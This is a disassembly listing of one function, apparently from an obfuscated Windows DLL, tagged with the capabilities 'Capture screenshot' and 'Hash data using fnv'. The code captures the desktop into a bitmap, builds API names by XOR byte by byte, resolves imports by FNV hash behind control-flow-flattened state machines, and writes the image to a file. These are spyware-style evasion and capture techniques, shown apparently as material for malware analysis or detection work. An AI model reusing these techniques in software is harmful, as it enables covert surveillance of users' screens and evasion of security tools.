Function at 0x180001000
Capabilities:
Capture screenshot
Hash data using fnv

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x3f48
call fcn.1800fab80
sub rsp, rax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x3eb0], xmm6
mov qword [rbp + 0x3ea8], 0xfffffffffffffffe
mov r15, rcx
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rsi, rax
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDC]
mov rbx, rax
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov rcx, rax
test rbx, rbx
je 0x180002d03
test rcx, rcx
je 0x180002d03
mov rdi, qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rbp + 0x3e38], rcx
mov ecx, 0x4e
call rdi
mov r12d, eax
mov ecx, 0x4f
call rdi
mov r14d, eax
mov ecx, 0x4c
call rdi
mov dword [rbp + 0x3e6c], eax
mov ecx, 0x4d
call rdi
mov r13d, eax
mov rcx, rbx
mov edx, r12d
mov edi, r14d
mov r8d, r14d
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov rcx, qword [rbp + 0x3e38]
test rax, rax
je 0x180002d03
mov qword [rbp + 0x3e10], r15
mov qword [rbp + 0x3e18], rsi
mov rsi, rcx
mov r15, rax
mov rdx, rax
call qword [sym.imp.GDI32.dll_SelectObject]
mov qword [rbp + 0x3e30], rax
mov dword [rsp + 0x38], r13d
mov eax, dword [rbp + 0x3e6c]
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rbx
mov r14d, edi
mov dword [rsp + 0x20], edi
mov dword [rsp + 0x40], 0xcc0020
mov rcx, rsi
xor edx, edx
xor r8d, r8d
mov r9d, r12d
call qword [sym.imp.GDI32.dll_BitBlt]
xorps xmm6, xmm6
movaps xmmword [rbp + 0x3e00], xmm6
movaps xmmword [rbp + 0x3df0], xmm6
lea r8, [rbp + 0x3df0]
mov rcx, r15
mov edx, 0x20
call qword [sym.imp.GDI32.dll_GetObjectA]
mov dword [rbp + 0x3dc8], 0x28
mov eax, dword [rbp + 0x3df4]
mov ecx, dword [rbp + 0x3df8]
mov dword [rbp + 0x3dcc], eax
mov dword [rbp + 0x3dd0], ecx
shl eax, 3
lea edx, [rax + rax*2]
lea eax, [rax + rax*2]
add eax, 0x1f
test eax, eax
cmovs edx, eax
mov dword [rbp + 0x3dd4], 0x180001
add edx, 0x1f
sar edx, 5
imul edx, ecx
shl edx, 2
movsxd rsi, edx
movups xmmword [rbp + 0x3dd8], xmm6
mov qword [rbp + 0x3de8], 0
mov rcx, rsi
call fcn.1800fa8cc
mov rdi, rax
mov rcx, rsi
call fcn.1800fa8cc
mov qword [rbp + 0x3e48], rax
lea rax, [rbp + 0x3dc8]
mov qword [rsp + 0x28], rax
mov qword [rbp + 0x3e40], rdi
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x30], 0
mov qword [rbp + 0x3e20], rbx
mov rcx, rbx
mov qword [rbp + 0x3e28], r15
mov rdx, r15
xor r8d, r8d
mov r9d, r14d
call qword [sym.imp.GDI32.dll_GetDIBits]
lea rsi, [rbp - 0x30]
mov qword [rbp + 0x3e60], rsi
mov rax, qword [rbp + 0x3e60]
mov byte [rax], 0x47
mov rdi, qword [rbp + 0x3e60]
mov rcx, rsi
mov dl, 0x43
xor r8d, r8d
call fcn.18001c8a0
mov byte [rdi + 1], al
mov r8d, 1
mov rcx, rsi
mov dl, WSAStartup
call fcn.18001c8a0
mov byte [rdi + 2], al
add rdi, 3
mov qword [rbp + 0x3e88], rdi
mov eax, 0xa7d525df
mov r13d, 0xd906758b
mov r14d, 0x4aaee2c3
lea r15, [0x18011fb03]
mov r12d, 0x4e0ee1b1
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xd906758a
jle 0x1800012b0
cmp eax, 0x4e0ee1b0
jle 0x180001380
cmp eax, 0x4e0ee1b1
je 0x1800014b0
cmp eax, 0x7a1d9135
jne 0x180001270
cmp byte [rbp + 0x3e68], 0
mov eax, 0xa2ce6ff6
cmovne eax, r12d
mov rbx, qword [rbp + 0x3e78]
jmp 0x180001270
cmp eax, 0xa2ce6ff6
je 0x1800013b8
cmp eax, 0xa7d525df
je 0x1800013e7
cmp eax, 0xc534f083
jne 0x180001270
mov rax, qword [rbp + 0x3e98]
movzx edx, byte [rax]
mov r8d, 5
mov rcx, rsi
call fcn.18001c8a0
mov rcx, qword [rbp + 0x3ea0]
mov byte [rcx], al
mov rbx, qword [rbp + 0x3ea0]
mov r8d, 6
mov rcx, rsi
mov dl, 0x46
call fcn.18001c8a0
mov byte [rbx + 1], al
mov r8d, 7
mov rcx, rsi
mov dl, 0x69
call fcn.18001c8a0
mov byte [rbx + 2], al
mov r8d, 8
mov rcx, rsi
mov dl, 0x6c
call fcn.18001c8a0
mov byte [rbx + 3], al
mov r8d, 9
mov rcx, rsi
mov dl, 0x65
call fcn.18001c8a0
mov byte [rbx + 4], al
mov r8d, 0xa
mov rcx, rsi
mov dl, 0x57
call fcn.18001c8a0
mov byte [rbx + 5], al
add rbx, 6
mov rax, qword [rbp + 0x3e60]
add rax, 0xd
mov qword [rbp + 0x3e80], rax
mov eax, 0xa2ce6ff6
jmp 0x180001270
cmp eax, 0xd906758b
je 0x180001449
cmp eax, 0x4aaee2c3
jne 0x180001270
mov rax, qword [rbp + 0x3e70]
mov byte [rax], 0
mov rax, qword [rbp + 0x3e70]
mov rax, qword [rbp + 0x3e80]
mov eax, 0xd906758b
jmp 0x180001270
mov qword [rbp + 0x3e70], rbx
mov eax, dword [0x1801294d0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4aaee2c3
cmove eax, r13d
cmp dword [0x1801294d4], 0xa
cmovl eax, r13d
jmp 0x180001270
mov r8d, 2
mov rcx, rsi
mov dl, 0x65
call fcn.18001c8a0
mov rcx, qword [rbp + 0x3e88]
mov byte [rcx], al
mov rdi, qword [rbp + 0x3e88]
mov r8d, 3
mov rcx, rsi
mov dl, 0x61
call fcn.18001c8a0
mov byte [rdi + 1], al
mov r8d, 4
mov rcx, rsi
mov dl, 0x74
call fcn.18001c8a0
mov byte [rdi + 2], al
add rdi, 3
mov qword [rbp + 0x3ea0], rdi
mov qword [rbp + 0x3e98], r15
mov eax, 0xc534f083
jmp 0x180001270
mov rax, qword [rbp + 0x3e70]
mov byte [rax], 0
mov rax, qword [rbp + 0x3e70]
add rax, 1
mov qword [rbp + 0x3e78], rax
mov rax, qword [rbp + 0x3e80]
mov rcx, qword [rbp + 0x3e78]
cmp rcx, rax
sete byte [rbp + 0x3e68]
mov eax, dword [0x1801294d0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1801294d4], 0xa
setl cl
setge dl
xor dl, al
and cl, al
xor cl, dl
mov eax, 0x7a1d9135
cmovne eax, r14d
jmp 0x180001270
lea rcx, [rbp - 0x30]
call fcn.180002d80
mov ecx, dword [0x1801294d8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete byte [rbp + 0x3e97]
mov ecx, dword [0x1801294dc]
sete dl
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x3e96]
or cl, dl
mov ecx, 0x8063f108
mov edx, 0xc8c5b29f
cmove ecx, edx
mov dword [rbp + 0x3e6c], ecx
mov r14d, 0x7ddfb06
cmove r14d, edx
mov r11d, 0x1d57daac
mov edx, 0xec12727d
cmove r11d, edx
mov r15d, 0x18cb5172
cmove r15d, edx
mov ecx, 0x4e6deaae
mov edx, 0xe9e21f4b
cmove ecx, edx
mov dword [rbp + 0x3e50], ecx
mov r13d, 0xe71cb6cf
movabs rdi, 0xb52dfd3b29cad7f9
jmp 0x180001550
mov r13d, 0xae32b02c
nop dword [rax + rax]
mov edx, r13d
cmp r13d, 0xe9e21f4a
jle 0x1800015b0
cmp edx, 0x2cebdf0a
jle 0x180001610
cmp edx, 0x553ba0a3
jle 0x1800016d8
cmp edx, 0x5f30b901
jg 0x1800017e9
cmp edx, 0x553ba0a4
je 0x18000193e
mov r13d, edx
cmp edx, 0x5cf0a5d0
jne 0x180001550
mov ecx, dword [rbp + 0x3ea0]
cmp ecx, 0x5b
setl byte [rbp + 0x3e68]
mov r13d, 0xa0e5e177
jmp 0x180001550
cmp edx, 0xb4b5f8a9
jg 0x180001670
cmp edx, 0xacd1a4a1
jle 0x18000174c
cmp edx, 0xae2d49db
jg 0x1800018ad
cmp edx, 0xacd1a4a2
je 0x180001969
mov r13d, edx
cmp edx, 0xacd9a7e7
jne 0x180001550
mov r13d, 0x66a81c96
mov r9d, dword [rbp + 0x3ea0]
jmp 0x180001550
cmp edx, 0x1e9535f
jle 0x18000170a
cmp edx, 0x18cb5171
jg 0x180001884
mov r13d, r15d
cmp edx, 0x1e95360
je 0x180001550
mov r13d, edx
cmp edx, 0x7ddfb06
jne 0x180001550
mov ecx, dword [rbp + 0x3ea0]
or ecx, 0x20
mov dword [rbp + 0x3e98], ecx
mov r13d, dword [rbp + 0x3e6c]
jmp 0x180001550
cmp edx, 0xc62339db
jle 0x18000178e
cmp edx, 0xd0fc2277
jg 0x1800018d7
cmp edx, 0xc62339dc
je 0x180001983
mov r13d, edx
cmp edx, 0xc8c5b29f
jne 0x180001550
mov ecx, dword [rbp + 0x3ea0]
mov ecx, dword [rbp + 0x3ea0]
mov ecx, dword [rbp + 0x3ea0]
mov ecx, dword [rbp + 0x3ea0]
mov ecx, dword [rbp + 0x3ea0]
mov ecx, dword [rbp + 0x3ea0]
mov ecx, dword [rbp + 0x3ea0]
mov r13d, 0x7ddfb06
jmp 0x180001550
cmp edx, 0x4e6deaad
jle 0x18000191a
cmp edx, 0x4e6deaae
je 0x180001950
mov r13d, edx
cmp edx, 0x52a9d8f6
jne 0x180001550
mov r13d, 0x2cebdf0b
jmp 0x180001550
cmp edx, 0xe9e21f4b
je 0x180001542
cmp edx, 0xec12727d
je 0x1800019ad
mov r13d, edx
cmp edx, 0xffb5b154
jne 0x180001550
mov ecx, dword [rbp + 0x3e78]
movzx ecx, byte [rax + rcx]
mov byte [rbp + 0x3e5c], cl
mov r13d, 0xc62339dc
jmp 0x180001550
cmp edx, 0x8044d379
je 0x1800019b8
cmp edx, 0x8063f108
je 0x1800019d3
mov r13d, edx
cmp edx, 0xa0e5e177
jne 0x180001550
cmp byte [rbp + 0x3e68], 0
mov r13d, 0xacd9a7e7
mov ecx, 0xae2d49dc
cmovne r13d, ecx
jmp 0x180001550
cmp edx, 0xb4b5f8aa
je 0x1800019de
cmp edx, 0xbd5aa87e
je 0x1800019f9
mov r13d, edx
cmp edx, 0xbf71e338
jne 0x180001550
mov dword [rbp + 0x3e80], r10d
mov edx, dword [rbp + 0x3e80]
movsx edx, byte [rax + rdx]
mov dword [rbp + 0x3e60], edx
mov edx, dword [rbp + 0x3e60]
cmp edx, 0x20
mov r13d, 0x52a9d8f6
mov ecx, 0x8044d379
cmovge r13d, ecx
jmp 0x180001550
cmp edx, 0x5f30b902
je 0x18000195b
mov r13d, edx
cmp edx, 0x66a81c96
jne 0x180001550
movsxd r8, r9d
mov rcx, qword [rbp + 0x3e70]
mov rdx, rcx
movabs rsi, 0x4ad202c4d6352806
and rdx, rsi
movabs rbx, 0x300c2021098a5629
or rdx, rbx
and rcx, rdi
xor rcx, rdx
mov rdx, rcx
movabs rbx, 0x7ade22e5dfbf7e2f
xor rdx, rbx
mov rbx, r8
xor rbx, rsi
movabs rsi, 0x8521dd1a204081d0
xor rcx, rsi
and rcx, rbx
xor r8, rdi
and r8, rdx
or r8, rcx
movabs rcx, 0x100000001b3
imul r8, rcx
mov r12d, dword [rbp + 0x3e78]
add r12d, 1
mov r13d, 0xd0fc2278
jmp 0x180001550
mov r13d, r11d
cmp edx, 0x18cb5172
je 0x180001550
mov r13d, edx
cmp edx, 0x1d57daac
jne 0x180001550
mov r13d, 0x5f30b902
jmp 0x180001550
mov r13d, r14d
cmp edx, 0xae2d49dc
je 0x180001550
mov r13d, edx
cmp edx, 0xae32b02c
jne 0x180001550
mov r13d, dword [rbp + 0x3e50]
jmp 0x180001550
cmp edx, 0xd0fc2278
je 0x180001a0b
mov r13d, edx
cmp edx, 0xe71cb6cf
jne 0x180001550
movzx edx, byte [rbp + 0x3e97]
cmp byte [rbp + 0x3e96], 0
mov r13d, 0xe9e21f4b
mov ecx, 0xae32b02c
cmovne r13d, ecx
test dl, dl
cmovne r13d, ecx
jmp 0x180001550
cmp edx, 0x2cebdf0b
jne 0x180001a3b
mov r13d, 0xd0fc2278
xor r12d, r12d
movabs r8, 0xcbf29ce484222325
jmp 0x180001550
mov r13d, 0x66a81c96
mov r9d, dword [rbp + 0x3e98]
jmp 0x180001550
mov r13d, 0x1e95360
jmp 0x180001550
mov r13d, 0xbf71e338
xor r10d, r10d
jmp 0x180001550
mov edx, dword [rbp + 0x3e80]
add edx, 1
mov dword [rbp + 0x3e88], edx
mov r13d, 0xbd5aa87e
jmp 0x180001550
movsx ecx, byte [rbp + 0x3e5c]
mov dword [rbp + 0x3ea0], ecx
mov ecx, dword [rbp + 0x3ea0]
cmp ecx, 0x41
mov r13d, 0xacd9a7e7
mov ecx, 0x5cf0a5d0
cmovge r13d, ecx
jmp 0x180001550
mov r13d, 0x18cb5172
jmp 0x180001550
mov edx, dword [rbp + 0x3e60]
cmp edx, 0x7f
setl byte [rbp + 0x3e95]
mov r13d, 0xb4b5f8aa
jmp 0x180001550
mov r13d, 0x553ba0a4
jmp 0x180001550
cmp byte [rbp + 0x3e95], 0
mov r13d, 0x52a9d8f6
mov ecx, 0xacd1a4a2
cmovne r13d, ecx
jmp 0x180001550
mov r13d, 0xbf71e338
mov r10d, dword [rbp + 0x3e88]
jmp 0x180001550
mov dword [rbp + 0x3e78], r12d
mov qword [rbp + 0x3e70], r8
mov edx, dword [rbp + 0x3e80]
mov ecx, dword [rbp + 0x3e78]
cmp ecx, edx
mov r13d, 0x3fbb12b4
mov ecx, 0xffb5b154
cmovb r13d, ecx
jmp 0x180001550
mov r13d, edx
cmp edx, 0x3fbb12b4
jne 0x180001550
mov rcx, qword [rbp + 0x3e70]
call fcn.1800e9be0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
mov rcx, qword [rbp + 0x3e10]
mov edx, 0x40000000
xor r8d, r8d
xor r9d, r9d
call rax
mov qword [rbp + 0x3e50], rax
cmp rax, 0xffffffffffffffff
je 0x180002cb6
mov dword [rbp + 0x3e68], 0
lea rsi, [rbp - 0x30]
mov rcx, rsi
mov edx, 0x32
call fcn.1800eef60
mov r9d, dword [rbp + 0x3df4]
mov eax, dword [rbp + 0x3df8]
lea rcx, [rbp + 0x3e68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], eax
mov rcx, rsi
mov rdx, qword [rbp + 0x3e40]
mov r8, qword [rbp + 0x3e48]
call fcn.1800f1870
lea rsi, [rbp - 0x30]
mov rcx, rsi
call fcn.1800eefe0
mov dword [rbp + 0x3e5c], 0
mov qword [rbp + 0x3e80], rsi
mov edx, 0x9cd068ab
mov r8d, 0x6a52814e
nop word [rax + rax]
cmp edx, 0x4a90808a
jle 0x180001b30
cmp edx, 0x4a90808b
je 0x180001b59
cmp edx, 0x6a52814e
jne 0x180001b10
jmp 0x180002023
cmp edx, 0x9cd068ab
je 0x180001b99
cmp edx, 0xdf6397b8
jne 0x180001b10
mov byte [rcx], 0
add rcx, 1
cmp rcx, qword [rbp + 0x3e70]
mov edx, 0xdf6397b8
cmove edx, r8d
jmp 0x180001b10
mov rcx, qword [rbp + 0x3e78]
mov dword [rbp + 0x3ea0], WSAStartup
mov ebx, 0x907860cd
mov dl, byte [rbp - 0x30]
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x907860cd
je 0x180001b92
cmp ebx, 0x39ed87e4
jne 0x180001b80
jmp 0x180001bd9
mov ebx, 0x39ed87e4
jmp 0x180001b80
mov rdx, qword [rbp + 0x3e80]
mov byte [rdx], 0x45
mov rbx, qword [rbp + 0x3e80]
mov dword [rbp + 0x3ea0], 0x57
mov edi, 0x907860cd
mov dl, byte [rbp - 0x30]
nop dword [rax]
cmp edi, 0x907860cd
je 0x180001bd2
cmp edi, 0x39ed87e4
jne 0x180001bc0
jmp 0x180001c14
mov edi, 0x39ed87e4
jmp 0x180001bc0
mov byte [rbp + 0x3e98], dl
mov al, byte [rbp + 0x3e98]
mov byte [rbp + 0x3e88], al
mov edi, 0x85f2e40f
cmp edi, 0x38e02b3f
je 0x180001c54
cmp edi, 0x85f2e40f
jne 0x180001bf0
movsx ebx, byte [rbp + 0x3e88]
xor ebx, dword [rbp + 0x3ea0]
mov edi, 0x38e02b3f
jmp 0x180001bf0
mov byte [rbp + 0x3e98], dl
mov al, byte [rbp + 0x3e98]
mov byte [rbp + 0x3e88], al
mov esi, 0x85f2e40f
nop dword [rax + rax]
cmp esi, 0x38e02b3f
je 0x180001c99
cmp esi, 0x85f2e40f
jne 0x180001c30
movsx edi, byte [rbp + 0x3e88]
xor edi, dword [rbp + 0x3ea0]
mov esi, 0x38e02b3f
jmp 0x180001c30
mov dword [rbp + 0x3e98], ebx
mov eax, dword [rbp + 0x3e98]
mov byte [rcx + 1], al
mov dword [rbp + 0x3ea0], 0x65
mov ebx, 0x907860cd
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x907860cd
je 0x180001c92
cmp ebx, 0x39ed87e4
jne 0x180001c80
jmp 0x180001cd9
mov ebx, 0x39ed87e4
jmp 0x180001c80
mov dword [rbp + 0x3e98], edi
mov eax, dword [rbp + 0x3e98]
mov byte [rbx + 1], al
mov dword [rbp + 0x3ea0], WSAStartup
mov edi, 0x907860cd
nop word [rax + rax]
cmp edi, 0x907860cd
je 0x180001cd2
cmp edi, 0x39ed87e4
jne 0x180001cc0
jmp 0x180001d14
mov edi, 0x39ed87e4
jmp 0x180001cc0
mov byte [rbp + 0x3e98], dl
mov al, byte [rbp + 0x3e98]
mov byte [rbp + 0x3e88], al
mov ebx, 0x85f2e40f
cmp ebx, 0x38e02b3f
je 0x180001d54
cmp ebx, 0x85f2e40f
jne 0x180001cf0
movsx edx, byte [rbp + 0x3e88]
xor edx, dword [rbp + 0x3ea0]
mov ebx, 0x38e02b3f
jmp 0x180001cf0
mov byte [rbp + 0x3e98], dl
mov al, byte [rbp + 0x3e98]
mov byte [rbp + 0x3e88], al
mov esi, 0x85f2e40f
nop dword [rax + rax]
cmp esi, 0x38e02b3f
je 0x180001d83
cmp esi, 0x85f2e40f
jne 0x180001d30
movsx edi, byte [rbp + 0x3e88]
xor edi, dword [rbp + 0x3ea0]
mov esi, 0x38e02b3f
jmp 0x180001d30
mov dword [rbp + 0x3e98], edx
mov eax, dword [rbp + 0x3e98]
mov byte [rcx + 2], al
add rcx, 3
mov rax, qword [rbp + 0x3e80]
add rax, 0xb
mov qword [rbp + 0x3e70], rax
mov edx, 0xdf6397b8
jmp 0x180001b10
mov dword [rbp + 0x3e98], edi
mov eax, dword [rbp + 0x3e98]
mov byte [rbx + 2], al
mov dword [rbp + 0x3ea0], 0x69
mov edi, 0x907860cd
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edi, 0x907860cd
je 0x180001dc2
cmp edi, 0x39ed87e4
jne 0x180001db0
jmp 0x180001dc9
mov edi, 0x39ed87e4
jmp 0x180001db0
mov byte [rbp + 0x3e98], dl
mov al, byte [rbp + 0x3e98]
mov byte [rbp + 0x3e88], al
mov esi, 0x85f2e40f
cmp esi, 0x38e02b3f
je 0x180001e04
cmp esi, 0x85f2e40f
jne 0x180001de0
movsx edi, byte [rbp + 0x3e88]
xor edi, dword [rbp + 0x3ea0]
mov esi, 0x38e02b3f
jmp 0x180001de0
mov dword [rbp + 0x3e98], edi
mov eax, dword [rbp + 0x3e98]
mov byte [rbx + 3], al
mov dword [rbp + 0x3ea0], 0x74
mov edi, 0x907860cd
nop word cs:[rax + rax]
nop dword [rax]
cmp edi, 0x907860cd
je 0x180001e42
cmp edi, 0x39ed87e4
jne 0x180001e30
jmp 0x180001e49
mov edi, 0x39ed87e4
jmp 0x180001e30
mov byte [rbp + 0x3e98], dl
mov al, byte [rbp + 0x3e98]
mov byte [rbp + 0x3e88], al
mov esi, 0x85f2e40f
cmp esi, 0x38e02b3f
je 0x180001e84
cmp esi, 0x85f2e40f
jne 0x180001e60
movsx edi, byte [rbp + 0x3e88]
xor edi, dword [rbp + 0x3ea0]
mov esi, 0x38e02b3f
jmp 0x180001e60
mov dword [rbp + 0x3e98], edi
mov eax, dword [rbp + 0x3e98]
mov byte [rbx + 4], al
mov dword [rbp + 0x3ea0], 0x65
mov edi, 0x907860cd
nop word cs:[rax + rax]
nop dword [rax]
cmp edi, 0x907860cd
je 0x180001ec2
cmp edi, 0x39ed87e4
jne 0x180001eb0
jmp 0x180001ec9
mov edi, 0x39ed87e4
jmp 0x180001eb0
mov byte [rbp + 0x3e98], dl
mov al, byte [rbp + 0x3e98]
mov byte [rbp + 0x3e88], al
mov esi, 0x85f2e40f
cmp esi, 0x38e02b3f
je 0x180001f04
cmp esi, 0x85f2e40f
jne 0x180001ee0
movsx edi, byte [rbp + 0x3e88]
xor edi, dword [rbp + 0x3ea0]
mov esi, 0x38e02b3f
jmp 0x180001ee0
mov dword [rbp + 0x3e98], edi
mov eax, dword [rbp + 0x3e98]
mov byte [rbx + 5], al
mov dword [rbp + 0x3ea0], 0x46
mov edi, 0x907860cd
nop word cs:[rax + rax]
nop dword [rax]
cmp edi, 0x907860cd
je 0x180001f42
cmp edi, 0x39ed87e4
jne 0x180001f30
jmp 0x180001f49
mov edi, 0x39ed87e4
jmp 0x180001f30
mov byte [rbp + 0x3e98], dl
mov al, byte [rbp + 0x3e98]
mov byte [rbp + 0x3e88], al
mov esi, 0x85f2e40f
cmp esi, 0x38e02b3f
je 0x180001f84
cmp esi, 0x85f2e40f
jne 0x180001f60
movsx edi, byte [rbp + 0x3e88]
xor edi, dword [rbp + 0x3ea0]
mov esi, 0x38e02b3f
jmp 0x180001f60
mov dword [rbp + 0x3e98], edi
mov eax, dword [rbp + 0x3e98]
mov byte [rbx + 6], al
add rbx, 7
mov qword [rbp + 0x3e78], rbx
mov dword [rbp + 0x3ea0], 0x69
mov ebx, 0x907860cd
nop dword [rax]
cmp ebx, 0x907860cd
je 0x180001fc2
cmp ebx, 0x39ed87e4
jne 0x180001fb0
jmp 0x180001fc9
mov ebx, 0x39ed87e4
jmp 0x180001fb0
mov byte [rbp + 0x3e98], dl
mov al, byte [rbp + 0x3e98]
mov byte [rbp + 0x3e88], al
mov ebx, 0x85f2e40f
cmp ebx, 0x38e02b3f
je 0x180002004
cmp ebx, 0x85f2e40f
jne 0x180001fe0
movsx edx, byte [rbp + 0x3e88]
xor edx, dword [rbp + 0x3ea0]
mov ebx, 0x38e02b3f
jmp 0x180001fe0
mov dword [rbp + 0x3e98], edx
mov eax, dword [rbp + 0x3e98]
mov rdx, qword [rbp + 0x3e78]
mov byte [rdx], al
mov edx, 0x4a90808b
jmp 0x180001b10
lea rcx, [rbp - 0x30]
call fcn.180003070
mov ecx, dword [0x1801294d8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete byte [rbp + 0x3e94]
mov ecx, dword [0x1801294dc]
sete dl
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x3e93]
or cl, dl
mov edx, 0x8063f108
mov ecx, 0xc8c5b29f
cmove edx, ecx
mov dword [rbp + 0x3e6c], edx
mov r11d, 0x7ddfb06
cmove r11d, ecx
mov r12d, 0x1d57daac
mov ecx, 0xec12727d
cmove r12d, ecx
mov r13d, 0x18cb5172
cmove r13d, ecx
mov r14d, 0x4e6deaae
mov ecx, 0xe9e21f4b
cmove r14d, ecx
mov ecx, 0xe71cb6cf
movabs rbx, 0xb52dfd3b29cad7f9
jmp 0x1800020c0
mov ecx, 0xae32b02c
nop word cs:[rax + rax]
nop
mov edi, ecx
cmp ecx, 0xe9e21f4a
jle 0x180002120
cmp edi, 0x2cebdf0a
jle 0x180002170
cmp edi, 0x553ba0a3
jle 0x180002226
cmp edi, 0x5f30b901
jg 0x18000232d
cmp edi, 0x553ba0a4
je 0x180002474
mov ecx, edi
cmp edi, 0x5cf0a5d0
jne 0x1800020c0
mov ecx, dword [rbp + 0x3ea0]
cmp ecx, 0x5b
setl byte [rbp + 0x3e95]
mov ecx, 0xa0e5e177
jmp 0x1800020c0
cmp edi, 0xb4b5f8a9
jg 0x1800021c0
cmp edi, 0xacd1a4a1
jle 0x180002256
cmp edi, 0xae2d49db
jg 0x1800023ed
cmp edi, 0xacd1a4a2
je 0x18000249c
mov ecx, edi
cmp edi, 0xacd9a7e7
jne 0x1800020c0
mov ecx, 0x66a81c96
mov r9d, dword [rbp + 0x3ea0]
jmp 0x1800020c0
cmp edi, 0x1e9535f
jle 0x180002295
cmp edi, 0x18cb5171
jg 0x1800023c6
mov ecx, r13d
cmp edi, 0x1e95360
je 0x1800020c0
mov ecx, edi
cmp edi, 0x7ddfb06
jne 0x1800020c0
mov ecx, dword [rbp + 0x3ea0]
or ecx, 0x20
mov dword [rbp + 0x3e98], ecx
mov ecx, dword [rbp + 0x3e6c]
jmp 0x1800020c0
cmp edi, 0xc62339db
jle 0x1800022d5
cmp edi, 0xd0fc2277
jg 0x180002412
cmp edi, 0xc62339dc
je 0x1800024b5
mov ecx, edi
cmp edi, 0xc8c5b29f
jne 0x1800020c0
mov ecx, dword [rbp + 0x3ea0]
mov ecx, dword [rbp + 0x3ea0]
mov ecx, dword [rbp + 0x3ea0]
mov ecx, dword [rbp + 0x3ea0]
mov ecx, dword [rbp + 0x3ea0]
mov ecx, dword [rbp + 0x3ea0]
mov ecx, dword [rbp + 0x3ea0]
mov ecx, 0x7ddfb06
jmp 0x1800020c0
cmp edi, 0x4e6deaad
jle 0x180002451
cmp edi, 0x4e6deaae
je 0x180002485
mov ecx, edi
cmp edi, 0x52a9d8f6
jne 0x1800020c0
mov ecx, 0x2cebdf0b
jmp 0x1800020c0
cmp edi, 0x8044d379
je 0x1800024dd
cmp edi, 0x8063f108
je 0x1800024f7
mov ecx, edi
cmp edi, 0xa0e5e177
jne 0x1800020c0
cmp byte [rbp + 0x3e95], 0
mov ecx, 0xacd9a7e7
mov edx, 0xae2d49dc
cmovne ecx, edx
jmp 0x1800020c0
cmp edi, 0xe9e21f4b
je 0x1800020b0
cmp edi, 0xec12727d
je 0x180002501
mov ecx, edi
cmp edi, 0xffb5b154
jne 0x1800020c0
mov ecx, dword [rbp + 0x3e78]
movzx ecx, byte [rax + rcx]
mov byte [rbp + 0x3e96], cl
mov ecx, 0xc62339dc
jmp 0x1800020c0
cmp edi, 0xb4b5f8aa
je 0x18000250b
cmp edi, 0xbd5aa87e
je 0x180002524
mov ecx, edi
cmp edi, 0xbf71e338
jne 0x1800020c0
mov dword [rbp + 0x3e80], r10d
mov ecx, dword [rbp + 0x3e80]
movsx ecx, byte [rax + rcx]
mov dword [rbp + 0x3e60], ecx
mov ecx, dword [rbp + 0x3e60]
cmp ecx, 0x20
mov ecx, 0x52a9d8f6
mov edx, 0x8044d379
cmovge ecx, edx
jmp 0x1800020c0
cmp edi, 0x5f30b902
je 0x18000248f
mov ecx, edi
cmp edi, 0x66a81c96
jne 0x1800020c0
movsxd r8, r9d
mov rcx, qword [rbp + 0x3e70]
mov rdx, rcx
movabs rsi, 0x4ad202c4d6352806
and rdx, rsi
movabs rdi, 0x300c2021098a5629
or rdx, rdi
and rcx, rbx
xor rcx, rdx
mov rdx, rcx
movabs rdi, 0x7ade22e5dfbf7e2f
xor rdx, rdi
mov rdi, r8
xor rdi, rsi
movabs rsi, 0x8521dd1a204081d0
xor rcx, rsi
and rcx, rdi
xor r8, rbx
and r8, rdx
or r8, rcx
movabs rcx, 0x100000001b3
imul r8, rcx
mov r15d, dword [rbp + 0x3e78]
add r15d, 1
mov ecx, 0xd0fc2278
jmp 0x1800020c0
mov ecx, r12d
cmp edi, 0x18cb5172
je 0x1800020c0
mov ecx, edi
cmp edi, 0x1d57daac
jne 0x1800020c0
mov ecx, 0x5f30b902
jmp 0x1800020c0
mov ecx, r11d
cmp edi, 0xae2d49dc
je 0x1800020c0
mov ecx, edi
cmp edi, 0xae32b02c
jne 0x1800020c0
mov ecx, r14d
jmp 0x1800020c0
cmp edi, 0xd0fc2278
je 0x180002535
mov ecx, edi
cmp edi, 0xe71cb6cf
jne 0x1800020c0
movzx edx, byte [rbp + 0x3e94]
cmp byte [rbp + 0x3e93], 0
mov ecx, 0xe9e21f4b
mov esi, 0xae32b02c
cmovne ecx, esi
test dl, dl
cmovne ecx, esi
jmp 0x1800020c0
cmp edi, 0x2cebdf0b
jne 0x180002563
mov ecx, 0xd0fc2278
xor r15d, r15d
movabs r8, 0xcbf29ce484222325
jmp 0x1800020c0
mov ecx, 0x66a81c96
mov r9d, dword [rbp + 0x3e98]
jmp 0x1800020c0
mov ecx, 0x1e95360
jmp 0x1800020c0
mov ecx, 0xbf71e338
xor r10d, r10d
jmp 0x1800020c0
mov ecx, dword [rbp + 0x3e80]
add ecx, 1
mov dword [rbp + 0x3e88], ecx
mov ecx, 0xbd5aa87e
jmp 0x1800020c0
movsx ecx, byte [rbp + 0x3e96]
mov dword [rbp + 0x3ea0], ecx
mov ecx, dword [rbp + 0x3ea0]
cmp ecx, 0x41
mov ecx, 0xacd9a7e7
mov edx, 0x5cf0a5d0
cmovge ecx, edx
jmp 0x1800020c0
mov ecx, dword [rbp + 0x3e60]
cmp ecx, 0x7f
setl byte [rbp + 0x3e97]
mov ecx, 0xb4b5f8aa
jmp 0x1800020c0
